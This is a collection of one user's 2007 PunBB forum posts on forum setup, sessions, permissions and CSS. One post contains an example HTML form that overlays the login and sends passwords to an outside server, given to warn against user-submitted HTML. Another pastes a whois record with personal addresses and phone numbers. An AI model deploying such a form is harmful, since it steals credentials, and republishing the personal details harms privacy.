awstats?
51 2007-02-26 22:08
Re: Guests online in the last 24 hours...? (3 replies, posted in PunBB 1.2 discussion)
52 2007-02-26 17:31
Re: HTML mod - safe ? (23 replies, posted in PunBB 1.2 discussion)
Don't forget <object><applet> and others
Also, wouldn't be nice to have
<form action="http://privateserver.com/getpasswords.php">
<input type="text" name="username" style="position:absolute; left: 50px; top:70px;">
<input type="password" name="password" style="position:absolute; left: 50px; top:80px;">
Someone could put their own form in there, and place the input items overtop your own login input items.
Frankly, if you allow user submitted html anywhere on your site, people could come up with a new way to cause grief every other second
53 2007-02-26 17:22
Re: How does authentication in PunBB work? (24 replies, posted in PunBB 1.2 modifications, plugins and integrations)
To start with I want to get rid of the overcomplicated PUN_ROOT addresses (edit: done! not that hard...)
Removing PUN_ROOT could cause some trouble once your include/requires' need to include or require other php files in some sub directory. for example:
www-root/simple_test/login.php
\--> include('common/db_layer.php')
www-root/simple_test/common/db_layer.php
\--> include('errors/db_errors.php')
www-root/simple_test/errors/db_errors.php
The above list ~should~ work fine on any server, but...
www-root/simple_test/sub_folder/index.php
\--> include('../common/db_layer.php')
www-root/simple_test/common/db_layer.php
\--> include('errors/db_errors.php')
www-root/simple_test/errors/db_errors.php
db_errors.php will not be found, it will be looked for in www-root/simple_test/sub_folder/. With that PUN_ROOT stuff prefixing each include, in sub_folder/index.php you would set PUN_ROOT to "../" and it would work fine. This won't be a problem if you don't use sub-folders for the viewable pages
and options to change language files etc
You could just delete the files, and replace every part of the code that has something like $lang['Blah'] with the text in the language of your choice. It will be much harder to translate your files into other languages though, and you might just end up adding that stuff back in if you ever do decide to support more then one language. I can only guess at what the etc... stuff is generally speaking though, if it's in there, it's there for a reason. This is especially true for punbb, which sports low CPU usage in comparison to other forum systems.
54 2007-02-26 17:03
Re: Search on topicstarter (3 replies, posted in Feature requests)
At the moment it doesn't, but it ought to, no?
55 2007-02-26 09:41
Re: Search on topicstarter (3 replies, posted in Feature requests)
You can do this already, can't you? You just get extra results with your search, and have to "manually filter" out the results that don't show your target author in the "by <author>".
Presumably, this would be easy to add as a mod/extention... wait a second...
|---- Select where to search ----
| Forum | Search in |
|-------------------------------|
If "search in" is "topic subject only" shouldn't that only return author results of the subject? (ie: only authors of that topic, and not authors of posts in that topic). ATM it doesn't, but it ought to, no?
56 2007-02-26 09:02
Re: Scroll to top of post (6 replies, posted in General discussion)
BTW, it doesn't have to be an A tag. It should work with any other tag. e.g.
I seem to remeber in the IE 3/4 days that didn't work on one of the browsers (either IE or netscape). Might be safer to just use the a tag, presumably some of the lesser know browsers won't recognize a <span id="top"><!-- top --></span>.
57 2007-02-26 08:52
Re: How does authentication in PunBB work? (24 replies, posted in PunBB 1.2 modifications, plugins and integrations)
Use punbb login/session data.
I recently wrote my own sessions manager (for guests+logged in users), You have a lot of stuff to worry about. Broken load-balance routers that make connections from two different IPs on the same session. SNAT routers that use the same ip for multiple users. Cookie stealers who can use the same generated cookie data as a current session. The list goes on. Use punbb as a registration and login method, and then integrate your other parts of the web with punbb's login.
I'm currently going the other way around (on this current project of mine), for various reasons particular to the project. I've also managed to finish the "session management" part of it in about a week Ok... well 3 good days of reading and coding
If your set on too much extra work, read the php docs on session_start() session_id() and session_regenerate_id(). Also, overthink about what to do when there are 2 session id's from different IPs, what to do about timeouts, how many types of timeouts to have. In mine I have "createtime" which is initialized once, "modifytime" which is changed each time it's "modify_timeout" seconds old (it also regenerates a new session id; generally done every 5 minutes to minimize the chance of a packet sniffer on the same SNAT stealing cookie data and hijacking a session), and "accesstime" which is changed each page view and after "acces_timeout" the user is marked as "idle" for too long, and needs to reverify his/her password, and after "delete_timeout" that session data is completely removed from the session table in the database. Now don't forget about what to do at login (ie: delete any sessions with the same user id; incase someone's session was hijacked, etc...).
In short, use punbb session handling, and login handling so that you don't have to think and worry. Use your own if you want to learn how to be a crazy mo fo, or where using punbb's wouldn't be allowed in the GNU GPL licence.
58 2007-02-26 08:27
Re: Upgrade from 1.2.6 to 1.2.14 still shows version 1.2.6 in Admin (5 replies, posted in PunBB 1.2 troubleshooting)
The directory to 1777, the files to 0755 with owner:group of the www user. .htaccess and index.html should be 0644 with owner:group of your account.
so directory drwxrwxrwt joe:joe, files -rwxr-xr-x www-user:www-user, and .htacess, index.html -rw-r--r-- joe:joe
This meens that only joe can delete move or rename, etc all files in cache dir. Only the file owner can delete, append, overwrite files in the cache dir that it owns.
59 2007-02-25 18:48
Re: Upgrade from 1.2.6 to 1.2.14 still shows version 1.2.6 in Admin (5 replies, posted in PunBB 1.2 troubleshooting)
chmod 0777 on the cache directory (in your ftp program).
After you visit the admin panel and hit "save options", you should be able to chmod to 0755 however I recommend 1777 if you ftp program/server supports it. The "1" or sticky bit basically lets punbb write and rewrite to it's own files, but only it's own files. Google it if your up for a read.
60 2007-02-25 18:40
Topic: IE vs other browsers? (2 replies, posted in Programming)
Anyone have any nice tricks to apply css to only one type of browser?
I have yet to run into a difference with gecko based browsers (mozilla) and Opera; But IE never seems to display the same way, and even different version of IE render pages drastically different.
At the moment in most of my xhtml files I have this in the header:
<link rel="stylesheet" type="text/css" href="./css/default.css" />
<!--[if IE]>
<link rel="stylesheet" type="text/css" href="./css/default.ie.css" />
<![endif]-->
<!--[if IE 5]>
<link rel="stylesheet" type="text/css" href="./css/default.ie5.css" />
<![endif]-->
<!--[if IE 5.5]>
<link rel="stylesheet" type="text/css" href="./css/default.ie55.css" />
<![endif]-->
<!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="./css/default.ie6.css" />
<![endif]-->
Then in each ie css I just override the default definitions to suite IE, and again for each version of IE.
Anyone else use something like this? And how different is the safari based browsers VS mozilla/Opera? Anyone ever have to hack and slash at safari browsers, like I do IE?
61 2007-02-23 18:56
Re: Future work simular to punbb; Code stealing or not? (8 replies, posted in Programming)
there is nothing wrong with proprietary code (not that you can really hide the php like you can compiled executables).
Erm... (Mac HW+Software = proprietary) == reinvent the PC (IBM made this HW public source, for the most part at least), reinvent windows, reinvent Xorg; Proprietary means that the R&D resources used up to create a product have to be repeated for each additional group entering into production of said good.
If car designs were no longer proprietary, the cost of a car would be the cost of the physical resources used in it's production and the cost of the time & expertise resources used to produce the car.
At the moment car designed are proprietary, the cost of a car is the price a person is willing to pay for said car, usually much higher then the cost of production.
To prove this is true... The cost of a pair of socks are the cost of the physical resources used in it's production and the cost of the time & expertise resources used to produce the pair of socks. (designer socks are excluded, of course )
I would prefer that the cost of socks, a car etc.. also include the cost to replace the raw resources taken from the environment (metals take thousands of year to get compressed into metal, although I admit I don't know the full details), the cost of the use of said product to the environment (gas is not good for the atmosphere), and the cost to recycle or dispose of the car once it's no longer in use (some of the metal can be recycled, other parts, like the fiberglass, or parts that have high exposure to certain chemicals cannot be recycled).
Not trying to be a tree hugging hippy. I just don't think the moon base will be set-up in time for the coming ice age, and I'd like to be a great, great, great, grandfather some day (even if I'm dead).
62 2007-02-23 18:33
Re: what to do with punbb.info? (11 replies, posted in PunBB 1.2 discussion)
whois:
Domain ID:D11064746-LRMS
Domain Name:PUNBB.INFO
Created On:24-Oct-2005 18:14:55 UTC
Last Updated On:10-Oct-2006 13:08:11 UTC
Expiration Date:24-Oct-2007 18:14:55 UTC
Sponsoring Registrar:iHoldings.com (R200-LRMS)
Status:CLIENT DELETE PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Registrant ID:1294251-R
Registrant Name:Felix Brockherde
Registrant Organization:
Registrant Street1:Felix Brockherde
Registrant Street2:Kapellenstr.3
Registrant Street3:
Registrant City:Stadtlohn
Registrant State/Province:-
Registrant Postal Code:48703
Registrant Country:DE
Registrant Phone:+49.29242991
Registrant Phone Ext.:
Registrant FAX:+49.29242941
Registrant FAX Ext.:
Registrant Email:hostmaster@jsis.com
Admin ID:1294251-A
Admin Name:Felix Brockherde
Admin Organization:
Admin Street1:Felix Brockherde
Admin Street2:Kapellenstr.3
Admin Street3:
Admin City:Stadtlohn
Admin State/Province:-
Admin Postal Code:48703
Admin Country:DE
Admin Phone:+49.29242991
Admin Phone Ext.:
Admin FAX:+49.29242941
Admin FAX Ext.:
Admin Email:hostmaster@jsis.com
Billing ID:1294251-B
Billing Name:Jan Schumacher
Billing Organization:
Billing Street1:networksolutions.de
Billing Street2:Suedufer 54
Billing Street3:
Billing City:Moehnesee
Billing State/Province:-
Billing Postal Code:59519
Billing Country:DE
Billing Phone:+49.8005555747
Billing Phone Ext.:
Billing FAX:+1.492922941
Billing FAX Ext.:
Billing Email:hostmaster@jsis.com
Tech ID:1294251-T
Tech Name:Jan Schumacher
Tech Organization:
Tech Street1:networksolutions.de
Tech Street2:Suedufer 54
Tech Street3:
Tech City:Moehnesee
Tech State/Province:-
Tech Postal Code:59519
Tech Country:DE
Tech Phone:+49.8005555747
Tech Phone Ext.:
Tech FAX:+1.492922941
Tech FAX Ext.:
Tech Email:hostmaster@jsis.com
Name Server:VNS3.DNSSERVICE.NET
Name Server:VNS4.DNSSERVICE.NET
Who's this felix characteur 0.o Is it flx?
63 2007-02-23 18:07
Re: Playing with Extension (6 replies, posted in PunBB 1.2 discussion)
.net and mfc wrap the same functions....
I ran away from windows around the time of .net 1, and haven't run into any .net based config panels for games I play, so I figured I'd go on the aggressive Apologies to the punxs dev team
64 2007-02-23 18:02
Re: Future work simular to punbb; Code stealing or not? (8 replies, posted in Programming)
Meh, just wanted to make sure. I personally hate the idea of keeping my code private (even if it's just for X years), but I have to get a job, and I don't want to work I code in my free time... so writing code wouldn't really be work. Now if I could only learn to draw, and write story lines
65 2007-02-23 16:31
Topic: Future work simular to punbb; Code stealing or not? (8 replies, posted in Programming)
I'm legalterate... erm... I can't understand legel consequences 0.o or say it... lol
Anywho, I'm planing on making some php based web games. They will probably fall under a new "class" of copyright, which basically says I own the source for a max of 5 years, then the source is public domain. The idea is that I still retain the commercial benefits of good R&D, without forcing the world to reinvent the wheel. While making these games I've noticed that I use some technics from punbb's code. For example I have a config.php file, I also have a "define('NAME', 1);" and "if (! (defined(NAME))) exit();" at the top of php files and includes respectively. I think it's quite clear, from the code, that this is not a "copy and paste" case. Also, it would require some silly reworking to avoid doing this stuff. I'm just wondering what other people's thought are.
To be clear, this is not another forum I'm working on, and in any complex coding area, I've used my own code (ie: for "sessions", or for "login" nothing is the same; apart from having a session id, and a time until that session expires ). Does this fall into the category of M$ ~stealing~ icons from Mac... in which case... um... I copyright the word "the"! Muhahahaha, pay me monies!!! Does this fall into the catagory of M$ ~stealing~ "My Computer" (from Mac), or IE ~stealing~ "tab browsing" from firefox? In which case... you can't really claim that punbb has topics, so punbb can't have topics Or is it more like the theoretical case where M$ copies the gcc source to improve their own compiler? In which case... you can't really copy and paste 10% of another projects code and call it your own.
66 2007-02-23 16:12
Re: what to do with punbb.info? (11 replies, posted in PunBB 1.2 discussion)
http://punbb.org/forums/viewtopic.php?pid=20463#p20463
Apparently it's Rickard's.
67 2007-02-23 16:08
Re: Playing with Extension (6 replies, posted in PunBB 1.2 discussion)
Does punxs run on wine is my greatest concern. Java, or wxwidgets (Even MFC, since MFC is a wrapper for the functions that wine already supports) would have been a much more OS independent way to develop punxs Guess I'll wait till there's a binary download to try it out.
68 2007-02-22 22:20
Re: Help needed (16 replies, posted in PunBB 1.2 discussion)
IE5, IE5.5, and IE6 [wine (linux); windows binary]
Opera 9.10 [native linux binary]
Dillo 0.8.5 [native linux binary]
69 2007-02-22 10:02
Re: Help with news in the minipo (3 replies, posted in PunBB 1.2 discussion)
1) Make a new forum section labeled "news"
2) Make a post in it
3) view that forum (not the post, the forum)
4) At the end of the address bar is something like "id=5"
5) now copy that "5" as the first parameter in the call to pun_news
6) The second parameter is the number of news posts you want displayed
7) Dono what that last one is, leave it at 0 I guess 0.o
70 2007-02-22 06:47
Re: A little boxover help required (6 replies, posted in General discussion)
$result=$db->query('SELECT * FROM posts WHERE topic_id=\''.$cur_topic['id'].'\';') or error('Unable to get data from posts table', __FILE__, __LINE__, $db->error());
$last_post = $db->fetch_assoc($result)
while ($cur_post = $db->fetch_assoc($result))
{
if ($cur_post['posted'] > $last_post['posted'])
$last_post = $cur_post;
}
// Don't forget to parse for bb code and remove html elements from this post etc... Like I said before, the code to do this in viewtopics.php :P
$lastMessageInThisThread = $last_post['message'];
71 2007-02-22 06:43
Re: Send appropiate header information on some instances and... (3 replies, posted in Feature requests)
Oh and I don't know if 1.3 fixes this, but BBCode similar to [ b ][ i ]foo[ /b ]bar[ /i ] creates invalid markup.
AFAIK that is invalid bb code. Some bb code parsers won't even accept it. Sides, to make the above bb code valid in any case with the least amount of effort you would have to close and reopen all html tags every time a new bb code is found... something like this: "[ b ] [ / b ] [ i ] [ b ] foo [ / b ] [ / i ]". Course the more complexe the invalid bb code, the more complex the resultant outputed html code.
72 2007-02-21 18:23
Re: anybody using sqlite3 ? (10 replies, posted in PunBB 1.2 discussion)
Actually, PunBB does not support sqlite3 at all. Supporting it would mean supporting PDO (a new feature in PHP) and that won't happen for some time.
I've put my pdo sqlite3 mod on punres, if the link isn't in my sig, I'll edit this post
73 2007-02-21 11:20
Topic: [Release] MDT (1 replies, posted in PunBB 1.2 modifications, plugins and integrations)
MDT (MOD Dev Tools)
http://www.punres.org/desc.php?pid=308
If you make MODs and want a simple way to publish them, package them, or test them, this is the simple way
It's a plugin, but it's on punres cause it helps make mods, and cause my server has a tendancy of being slow, and being down If you've made MODs before, or are currently making a MOD and plan to distribute it, please try this out and give me some feedback. The main goal of this project is to let a mod developer make a mod in however many days it takes, and then make a packaged readme, patch file, and upload files in less then 10 minutes, without thinking.
All of 0.9.9 should work on any server (windows based, or linux based, or mac based). I develop on linux though, so most of the defaults come for that environment.
74 2007-02-21 11:07
Re: forgot password (6 replies, posted in General discussion)
The password is stored in the database and is normally encrypted. If "subscribe to topic" works on your forums (ie: e-mail) then you should be able to request a password reset on your forum (done by sending an e-mail to that accounts registered e-mail address).
Click "login" then "forgot password" then type in the e-mail address of the admin user.
Also, AFAIK any admin can reset any other admins password.
75 2007-02-21 07:01
Re: A little boxover help required (6 replies, posted in General discussion)
You want the top message or the last message posted in that topic? The topic table holds only the subject the the id's and dates. The post table holds the message. If there isn't a db->query nearby with something along the lines of "<stuff> LEFT JOIN posts <stuff>" then look in the viewtopic.php file and see how they access messages from post id's and topic id's.